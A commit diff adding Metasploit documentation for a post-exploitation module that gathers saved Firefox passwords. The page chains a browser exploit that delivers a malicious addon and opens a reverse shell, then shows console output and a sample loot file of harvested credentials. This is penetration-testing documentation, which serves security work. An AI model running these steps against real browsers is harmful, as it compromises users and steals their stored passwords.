Add KB for post/firefox/gather/passwords.

Author: daniel-wer

documentation/modules/post/firefox/gather/passwords.md

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+## Vulnerable Application
+
+  This post-exploitation module allows the collection of saved Firefox passwords from a Firefox privileged javascript shell.
+
+## Verification Steps
+
+  1. Start `msfconsole`
+  2. Get privileged javascript session
+  3. Do: `use post/firefox/gather/passwords`
+  4. Do: `set SESSION <session id>`
+  5. Do: `run`
+  6. You should be able to see all saved Firefox passwords in the loot file in JSON format
+
+## Options
+
+  - **SESSION** - The session to run the module on.
+
+  - **TIMEOUT** - Maximum time (seconds) to wait for a response. The default value is 90.
+
+## Scenarios
+
+  **Obtain a privileged javascript shell and gather saved Firefox passwords**
+
+  To be able to use this module, a privileged javascript shell is needed. It can be obtained by using a javascript privilege exploit like `exploit/multi/browser/firefox_proto_crmfrequest`, `exploit/multi/browser/firefox_proxy_prototype` or others.
+  In the example case of the `firefox_proto_crmfrequest` exploit use `set TARGET 0` to use a javascript shell.
+
+  ```
+  msf > use exploit/multi/browser/firefox_proto_crmfrequest
+  msf exploit(firefox_proto_crmfrequest) > set TARGET 0
+  TARGET => 0
+  msf exploit(firefox_proto_crmfrequest) > run
+  [*] Exploit running as background job.
+  msf exploit(firefox_proto_crmfrequest) >
+  [*] Started reverse TCP handler on 192.168.2.117:4444
+  [*] Using URL: http://0.0.0.0:8080/nbHsSeXAfjr
+  [*] Local IP: http://192.168.2.117:8080/nbHsSeXAfjr
+  [*] Server started.
+  [*] Gathering target information for 192.168.2.117
+  [*] Sending HTML response to 192.168.2.117
+  [*] Sending HTML
+  [*] Sending the malicious addon
+  [*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.117:35100) at 2016-10-08 00:33:09 +0200
+
+  msf exploit(firefox_proto_crmfrequest) > use post/firefox/gather/passwords
+  msf post(passwords) > set SESSION 1
+  SESSION => 1
+  msf post(passwords) > run
+
+  [*] Running the privileged javascript...
+  [+] Saved 1 passwords to /home/user/.msf4/loot/20161008003433_default_192.168.2.117_firefox.password_070261.txt
+  [*] Post module execution completed
+  ```
+
+  The loot file then contains all passwords in json format, like so:
+
+  ```
+  [  
+     {  
+        "password":"1234",
+        "passwordField":"pwd",
+        "username":"admin",
+        "usernameField":"log",
+        "httpRealm":"",
+        "formSubmitURL":"https://example.com",
+        "hostname":"https://example.com"
+     }
+  ]
+  ```